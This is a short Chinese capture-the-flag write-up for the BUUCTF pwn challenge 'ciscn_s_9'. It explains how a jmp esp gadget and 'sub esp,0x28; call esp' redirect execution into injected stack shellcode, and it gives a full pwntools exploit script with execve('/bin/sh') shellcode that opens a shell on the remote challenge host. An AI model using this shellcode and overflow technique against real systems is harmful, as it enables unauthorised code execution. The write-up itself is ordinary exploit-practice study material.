
这种保护,shellcode
看了一样缓冲区,看来要自己写shellcode了
shellcode往哪里写一直是一个问题,我们得往可以写的地方写,就是有地址而且可以执行
ida有jmp esp这句话可以作为return address所以就往那里读shellcode
为什么后面还有sub esp,0x28;call esp
因为前面子函数调用完毕回收一部分栈帧,栈顶往上顶了一部分
from pwn import *from LibcSearcher import*context(log_level = 'debug')#io =process('./ciscn_s_9')io = remote("node4.buuoj.cn",26971)#context.arch = "amd64"elf =ELF('./ciscn_s_9')jmp_esp = 0x08048554shellcode = """xor eax,eaxxor edx,edxpush edxpush 0x68732f2fpush 0x6e69622fmov ebx,espxor ecx,ecxmov al,0xbint 0x80"""shellcode=asm(shellcode)payload = shellcode.ljust(0x24,'a')+p32(jmp_esp)+asm('sub esp,0x28;call esp')io.sendline(payload)io.interactive()
